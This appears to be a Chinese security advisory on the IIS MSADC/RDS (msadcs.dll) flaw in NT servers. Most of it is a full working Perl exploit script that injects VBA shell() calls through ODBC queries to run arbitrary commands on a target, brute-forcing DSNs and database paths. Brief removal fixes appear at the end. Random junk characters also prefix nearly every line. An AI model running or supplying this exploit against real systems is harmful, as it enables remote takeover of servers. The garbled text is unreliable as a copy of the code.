IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2sq<"TlQXI wEqCuhZ 涉及程序：
~0:c{v;4 Microsoft NT server
n\,W:G9AR7 X ^)5O>>|t 描述：
,bg#pG!x Q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
oZw#Nd U{m:{'np(H 详细：
(.) s = 如果你没有时间读详细内容的话，就删除:
8=VX` X c:\Program Files\Common Files\System\Msadc\msadcs.dll
'!GI:U+g 有关的安全问题就没有了。
[Y+ bW #' W;yZ$k#q}( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
;B@l0 )7(x @[lr
F7`o 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
1k(*o.6 关于利用ODBC远程漏洞的描述，请参看:
m\Nc}P_ "p =uEhxs j)S http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M3;B]iRQD OW^7aw(N6 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
&-tf/qJ http://www.microsoft.com/security/bulletins/MS99-025faq.asp zc 5_;!t 1Zzw|@#>o 这里不再论述。
X[}%iEWzT ponvi42u 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
(d\bSo$] Vh&KfYY /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|M&/( 0 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
[ sRQd;+ 6IH^rSUSK Z]CH8GS~< #将下面这段保存为txt文件，然后: "perl -x 文件名"
h[?28q$ +/'jX?7x% #!perl
+g&W 423k_ #
jHzb,& # MSADC/RDS 'usage' (aka exploit) script
wq#3f# 3V #
9 R1]2U $| # by rain.forest.puppy
^~$
o-IX #
L|Iq#QX| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
d)H K9T|B # beta test and find errors!
FB`H wE < Ek6W:Q:@ use Socket; use Getopt::Std;
8 B5%IgA getopts("e:vd:h:XR", \%args);
J!>oC_0]8 !h~\YE) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{,ljIhc, XhiC'.B_ if (!defined $args{h} && !defined $args{R}) {
{DR+sE print qq~
3lqhjA Usage: msadc.pl -h <host> { -d <delay> -X -v }
X"sN~Q.0 -h <host> = host you want to scan (ip or domain)
TM;)[R@ -d <seconds> = delay between calls, default 1 second
WfVie 6 -X = dump Index Server path table, if available
Z^ 3Risi -v = verbose
[z9i v~ -e = external dictionary file for step 5
<Lt$qV-# "lt[)3* Or a -R will resume a command session
PE>_;k-@k lAQ&PPQ ~; exit;}
&R]G)f#w%* g&
Rk}/F $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
fi)ypv* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
$Z4p$o
dk if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h kY E7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Fu$otMw%l $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A
[JV*Dt if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
RPu-E9g@ `:&{ /|uP7 if (!defined $args{R}){ $ret = &has_msadc;
YH9BJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KK}&4^q B5hGzplS print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-JK +{< . "cmd /c ";
rm7UFMCR6i $in=<STDIN>; chomp $in;
OR O~(%-(e $command="cmd /c " . $in ;
4{_5z7ody RXDk8)^ if (defined $args{R}) {&load; exit;}
w ,&RHQB N'StT$( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(~#9KA1A} &try_btcustmr;
3
V<8 R;%iu0 print "\nStep 2: Trying to make our own DSN...";
9/Ls3U? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
P-C_sj A7 F&Gb[Q&a8 print "\nStep 3: Trying known DSNs...";
/"U<0jot &known_dsn;
q)/4i 9
)L?Tq"hy print "\nStep 4: Trying known .mdbs...";
Z=xrj E &known_mdb;
|[ge ,MO: c=5$bo]LI if (defined $args{e}){
C,E 5/XW print "\nStep 5: Trying dictionary of DSN names...";
AG ?oA328 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
31}6dg8?n _Cxs"to print "Sorry Charley...maybe next time?\n";
)`)cB)s exit;
86 i =N _ 0bor/FU-d ##############################################################################
-(jcsqDk $ _ y"P sub sendraw { # ripped and modded from whisker
#S"=)BZ 8L sleep($delay); # it's a DoS on the server! At least on mine...
a?;{0I:Ln my ($pstr)=@_;
PrCq
JY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/#a$4 }2L die("Socket problems\n");
l!b#v` if(connect(S,pack "SnA4x8",2,80,$target)){
JkKI/ 5h select(S); $|=1;
nm)F tX|A print $pstr; my @in=<S>;
CAX U
# select(STDOUT); close(S);
("{'], > return @in;
*(rq AB0~ } else { die("Can't connect...\n"); }}
SF6n06UZu z) ydQw> ##############################################################################
ms?h/*E<H J-U}iU| sub make_header { # make the HTTP request
V\
|b#?KL my $msadc=<<EOT
(efH>oY[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
TCVJ[LbJ User-Agent: ACTIVEDATA
|B j b Host: $ip
gG}<l ': Content-Length: $clen
0@
-LV:jU Connection: Keep-Alive
`
p) #! k,?k37%T] ADCClientVersion:01.06
_jtBU Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
milU,!7J z:w7e0 --!ADM!ROX!YOUR!WORLD!
"Kqe4$ Content-Type: application/x-varg
NTV0DkX Content-Length: $reqlen
%bAv.' C \t}!Dr+yN EOT
j9Lc2' ; $msadc=~s/\n/\r\n/g;
n7 S[ F3 return $msadc;}
3V-pLs| $I_aHhKt ##############################################################################
0j*8| {| WPPmh~: sub make_req { # make the RDS request
6s6[sUf=l& my ($switch, $p1, $p2)=@_;
qLR)>$ my $req=""; my $t1, $t2, $query, $dsn;
JLjx4B\ sV-9 xh)i if ($switch==1){ # this is the btcustmr.mdb query
LB>!%Vx $query="Select * from Customers where City=" . make_shell();
~
^K[pA ? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
GR"Jk[W9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!nTq"d%(W ~($h9* \ elsif ($switch==2){ # this is general make table query
6`4= !ZfI $query="create table AZZ (B int, C varchar(10))";
j}y" $dsn="$p1";}
smSUo / )#1@@\< ^T elsif ($switch==3){ # this is general exploit table query
}%%| '8 $query="select * from AZZ where C=" . make_shell();
pBHr{/\5 $dsn="$p1";}
u|+O%s TQ uoF9&j5E@Z elsif ($switch==4){ # attempt to hork file info from index server
. uh P ( $query="select path from scope()";
n#4Ra+dD $dsn="Provider=MSIDXS;";}
+~7@K{6 q- _KK G^
u< elsif ($switch==5){ # bad query
*dGW=aM#C $query="select";
,9=a(j" $dsn="$p1";}
!fZxK CsQ v,kedKcxv' $t1= make_unicode($query);
:=-h'<D $t2= make_unicode($dsn);
}v`5
$req = "\x02\x00\x03\x00";
BwbvZfV| $req.= "\x08\x00" . pack ("S1", length($t1));
n]| [|Rf1 $req.= "\x00\x00" . $t1 ;
q
K]Wk + $req.= "\x08\x00" . pack ("S1", length($t2));
=E{1QA0 $req.= "\x00\x00" . $t2 ;
QH+Oi&xH $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Pj^6.f+ return $req;}
qPWYY 18F7; d N8 ##############################################################################
z 55P~p ~/QzL.S;p sub make_shell { # this makes the shell() statement
H Jwj,SL return "'|shell(\"$command\")|'";}
|ONkRxr@! &ceZu=* ##############################################################################
Qd$d*mwg: PX+$Us sub make_unicode { # quick little function to convert to unicode
z1s9[5 my ($in)=@_; my $out;
!t N]OQ)' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|XPT2eQ{ return $out;}
QH;1* ;|66AIwDe ##############################################################################
68d(6?OgW \!`*F :7]- sub rdo_success { # checks for RDO return success (this is kludge)
gJ : Z7b my (@in) = @_; my $base=content_start(@in);
jy tfGE: if($in[$base]=~/multipart\/mixed/){
ZfS-W&6Z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
iGM-#{5 return 0;}
YYN= `ST uYF _sf ##############################################################################
7n5 bI\ Drc\$<9c@ sub make_dsn { # this makes a DSN for us
iYR8sg[' # my @drives=("c","d","e","f");
PbCXcs print "\nMaking DSN: ";
T~_+\w foreach $drive (@drives) {
^[!LU print "$drive: ";
K@ 6$|.bc my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
t-e:f0iz "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
dYW19$W
n . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qHklu2_% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
I@e{>} return 0 if $2 eq "404"; # not found/doesn't exist
<Xv]Ih?@f` if($2 eq "200") {
hK?uGt
d ? foreach $line (@results) {
`G,\=c~{A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
y~jTI[kS } return 0;}
L=?Yc*vg }m(u o T~ ##############################################################################
&*r YY\I &?v^xAr?B sub verify_exists {
+!CG'qyN> my ($page)=@_;
c[f my @results=sendraw("GET $page HTTP/1.0\n\n");
^|(F|Z return $results[0];}
XzkC ]e ' s lXk < ##############################################################################
u+kXJ a8Nl'
f*0 sub try_btcustmr {
eE+zL ~CE my @drives=("c","d","e","f");
4 cl}ouG my @dirs=("winnt","winnt35","winnt351","win","windows");
]& jXD=a" |s +y]3-_ foreach $dir (@dirs) {
C&D!TR!K print "$dir -> "; # fun status so you can see progress
X*/j na"* foreach $drive (@drives) {
ZU5hHah.t print "$drive: "; # ditto
7jvf:#\LtL $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}]'Z~5T $reqlenlen=length( "$reqlen" );
Quqts(Q) + $clen= 206 + $reqlenlen + $reqlen;
C5$1K'X@ i. C+{QH my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ULNU '6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^/U-(4O05* else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
UzWf_ r Tm
6<^5t ##############################################################################
S)T~vK(n iG!tRNQ{y sub odbc_error {
Dqs{ n?@n my (@in)=@_; my $base;
$_o nSYWr my $base = content_start(@in);
%@Bl,!BJ, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!X*+Ct^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Vr+X!DeY $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WnyEdYA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[2"a~o\ return $in[$base+4].$in[$base+5].$in[$base+6];}
7o-umZ}8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
qk<( iVUO print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kFg@|#0v9 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
gG!L#J? c_"]AhV~Mg ##############################################################################
9LI #&\lba |7LhE+E sub verbose {
. K s%ar my ($in)=@_;
?Id3#+-O return if !$verbose;
tURjIt,I print STDOUT "\n$in\n";}
j'R{llZW )v
!GiZ" 7 ##############################################################################
J^m#984 E_[|ZrIO&* sub save {
d kVF my ($p1, $p2, $p3, $p4)=@_;
dDK4I3a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#N.W8 mq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|4^us|XY close OUT;}
US [{
Q O~? H\2S ##############################################################################
M_lQ^7/ &mXJL3iN sub load {
3#<b! Yz my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A)/8j2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
b{%p @p=<IN>; close(IN);
.fY1?$*6c $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[#hpWNez(> $target= inet_aton($ip) || die("inet_aton problems");
"%ou'\} print "Resuming to $ip ...";
@-qS[bV $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
VRV *\*~$ if($p[1]==1) {
3M\~#> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@TB cVHy $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
# bc$[%_ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
W5z<+8R if (rdo_success(@results)){print "Success!\n";}
/
Vy pN, else { print "failed\n"; verbose(odbc_error(@results));}}
t.Q}V5t{g elsif ($p[1]==3){
{Rc mjI7 if(run_query("$p[3]")){
K9O%SfshF print "Success!\n";} else { print "failed\n"; }}
xV w9_il2a elsif ($p[1]==4){
5#|D1A if(run_query($drvst . "$p[3]")){
X$Eg(^L a print "Success!\n"; } else { print "failed\n"; }}
cLhHGwX=x exit;}
q#s:2#= %Z_/MNI ##############################################################################
<q\OREMsq 69/aP= sub create_table {
HEh,Cf7`' my ($in)=@_;
p)2
!_0 $reqlen=length( make_req(2,$in,"") ) - 28;
}% 2hBl/ $reqlenlen=length( "$reqlen" );
WRrCrXP $clen= 206 + $reqlenlen + $reqlen;
s2F<H# my @results=sendraw(make_header() . make_req(2,$in,""));
}.*"ezaZw return 1 if rdo_success(@results);
Jy<hTd*q my $temp= odbc_error(@results); verbose($temp);
oHh~! #u return 1 if $temp=~/Table 'AZZ' already exists/;
1 1Sflj return 0;}
nY y%=B|> f4[fXP ;A ##############################################################################
@N+ }cej NN> E1d= sub known_dsn {
rG[iEY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
m-T@Og my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
>2v UFq`H "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QiO4fS'~W "banner", "banners", "ads", "ADCDemo", "ADCTest");
r:N =?X`N d ? Uj3G foreach $dSn (@dsns) {
$mgamWNE8w print ".";
5\!t!FL_ next if (!is_access("DSN=$dSn"));
n1!hfu7@s if(create_table("DSN=$dSn")){
NSs"I] print "$dSn successful\n";
D/U=zDpiB if(run_query("DSN=$dSn")){
q~:H>;:G- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
zP554Gr ? print "Something's borked. Use verbose next time\n";}}} print "\n";}
oW
! Z= ; n $Nb,/o ##############################################################################
9d kuvk}: <e&88 {jJ sub is_access {
''D\E6c\ my ($in)=@_;
yBKEw(1 $reqlen=length( make_req(5,$in,"") ) - 28;
s|HpN $reqlenlen=length( "$reqlen" );
lB)%s~P:s $clen= 206 + $reqlenlen + $reqlen;
_L8|Z V./ my @results=sendraw(make_header() . make_req(5,$in,""));
"2'4b my $temp= odbc_error(@results);
IhR;YM[K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p zr\<U` return 0;}
'0b!lVe n <,:;0{ ##############################################################################
<DeC^[-P 3 bK.8 sub run_query {
|NMf ' $ my ($in)=@_;
dMd2a4 $reqlen=length( make_req(3,$in,"") ) - 28;
b6(LoN. $reqlenlen=length( "$reqlen" );
h95a61a,Vy $clen= 206 + $reqlenlen + $reqlen;
W0-KFo.' my @results=sendraw(make_header() . make_req(3,$in,""));
1 sJtkge: return 1 if rdo_success(@results);
wmV7g7t6 my $temp= odbc_error(@results); verbose($temp);
O~P1d&:L return 0;}
,]Gi942 } ;{Qx ##############################################################################
CU`yi.)T{ ]9 A@iA sub known_mdb {
SH ow~wxw my @drives=("c","d","e","f","g");
xVnk]:c my @dirs=("winnt","winnt35","winnt351","win","windows");
) t#>fnN my $dir, $drive, $mdb;
]`+J!G, my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U3 t$h ] S0t K # this is sparse, because I don't know of many
ioW&0?,Ym my @sysmdbs=( "\\catroot\\icatalog.mdb",
Z:( Zy "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]nIH0k3y "\\system32\\certmdb.mdb",
;9&#Sb/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
r'F )8% /`kM0=MM a my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
<Jc
:a?ICe "\\cfusion\\cfapps\\forums\\forums_.mdb",
%VH{bpS|i: "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
?z pN09e "\\cfusion\\cfapps\\security\\realm_.mdb",
(J6>]MZ#) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/}\Uw "\\cfusion\\database\\cfexamples.mdb",
y 1 qJ "\\cfusion\\database\\cfsnippets.mdb",
faIHmU "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_8 C:Md` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
{,X}Btnwp "\\cfusion\\brighttiger\\database\\cleam.mdb",
F[@M? "\\cfusion\\database\\smpolicy.mdb",
)lh Pl "\\cfusion\\database\cypress.mdb",
#@UzOQ> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
aam6R /4 "\\website\\cgi-win\\dbsample.mdb",
S"<"e\\}"_ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?9Hs,J "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
O~*`YsL9 ); #these are just
P->.eo#VG foreach $drive (@drives) {
hU|TP3* foreach $dir (@dirs){
bC h foreach $mdb (@sysmdbs) {
Pd8zdzf{ print ".";
Cs2F/M' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
dbsD\\,2%N print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q)f-z\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
w7E7r?)Wl| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+tCNJ<S@l$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
OD8{
/7 1@Gmz h
foreach $drive (@drives) {
o"gt WAGH foreach $mdb (@mdbs) {
# ? _8 *? print ".";
V44M=c7E if(create_table($drv . $drive . $dir . $mdb)){
DG-XX.:z print "\n" . $drive . $dir . $mdb . " successful\n";
]jRaR~[UN if(run_query($drv . $drive . $dir . $mdb)){
HU1ZQkf print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
bu:%"l } else { print "Something's borked. Use verbose next time\n"; }}}}
`JAM]qB" }
X/qLg+X Tg jM@ir ##############################################################################
V4 8o+ O PRi1 `% d sub hork_idx {
Dt~ |)L+ print "\nAttempting to dump Index Server tables...\n";
/%{Qf print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"8l& m6`U- $reqlen=length( make_req(4,"","") ) - 28;
b?]Lx.l- $reqlenlen=length( "$reqlen" );
/H'F4-> $clen= 206 + $reqlenlen + $reqlen;
*=b36M my @results=sendraw2(make_header() . make_req(4,"",""));
|aX1PC)o_ if (rdo_success(@results)){
WNO!6*+ my $max=@results; my $c; my %d;
zDoh p 5, for($c=19; $c<$max; $c++){
2tqj ]i $results[$c]=~s/\x00//g;
CzfGb4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|r<#>~* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+ t7n6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
?,z/+ /: $d{"$1$2"}="";}
a d#4W0@S foreach $c (keys %d){ print "$c\n"; }
9g~"Y[ ] } else {print "Index server doesn't seem to be installed.\n"; }}
0[In5I I 61pJVO e ##############################################################################
_Squ% z:D > }fw7 X sub dsn_dict {
Bm$( 4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_^MkC} 8 while(<IN>){
FQe82tfV+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
; 6655C next if (!is_access("DSN=$dSn"));
~cH3RFV if(create_table("DSN=$dSn")){
5DS'22GW` print "$dSn successful\n";
7GDr H/yK if(run_query("DSN=$dSn")){
jnIf (a print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%f1>cO9[ print "Something's borked. Use verbose next time\n";}}}
.H# <yPty print "\n"; close(IN);}
UAEu.AT L_O*?aaZ ##############################################################################
0^9%E61Y R nvbKW.[<f{ sub sendraw2 { # ripped and modded from whisker
s9[5 4 7?` sleep($delay); # it's a DoS on the server! At least on mine...
UfSqiu my ($pstr)=@_;
=-%10lOI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
PD $'
~2 die("Socket problems\n");
z,K;GZuP if(connect(S,pack "SnA4x8",2,80,$target)){
=berCV print "Connected. Getting data";
^-2|T__ open(OUT,">raw.out"); my @in;
M]7>Ar'zsG select(S); $|=1; print $pstr;
%U?1Gf e while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G7 N Rpr close(OUT); select(STDOUT); close(S); return @in;
.C\## } else { die("Can't connect...\n"); }}
73kU\ux 0WI@BSHnM ##############################################################################
7'zXf)! E+z"m|G sub content_start { # this will take in the server headers
O6"S=o& my (@in)=@_; my $c;
6%a: ^f] for ($c=1;$c<500;$c++) {
@8eQ|.q]Q if($in[$c] =~/^\x0d\x0a/){
*?3c2Jg=E if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ku`u%5< else { return $c+1; }}}
$(fhO return -1;} # it should never get here actually
ZG$PW< 73~ u :w ##############################################################################
Ohn? >qQ d;hv_h sub funky {
s2`Qh9R
my (@in)=@_; my $error=odbc_error(@in);
f!Mx +ky if($error=~/ADO could not find the specified provider/){
hl$X.O print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]x5+v0 exit;}
Xkp?)x3~X if($error=~/A Handler is required/){
Sp /<%+2( print "\nServer has custom handler filters (they most likely are patched)\n";
h>"j!|#!s exit;}
b6UpE`\ z if($error=~/specified Handler has denied Access/){
9Q>85IiT print "\nServer has custom handler filters (they most likely are patched)\n";
F3e1&aK6{ exit;}}
@@V{W)r l p6X-P%s ##############################################################################
!:wA\mAd l05'/duuJ sub has_msadc {
*!^ l
ZpF my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
enT[#f[{ my $base=content_start(@results);
b '%)?{E return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n?:%>O s$ return 0;}
* zt?y H b?0?^ # ########################
bbs'>D 3 :Z&<5 ^v5<* uf%m 解决方案：
>
JV$EY, 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
YL&)@h 2、移除web 目录: /msadc
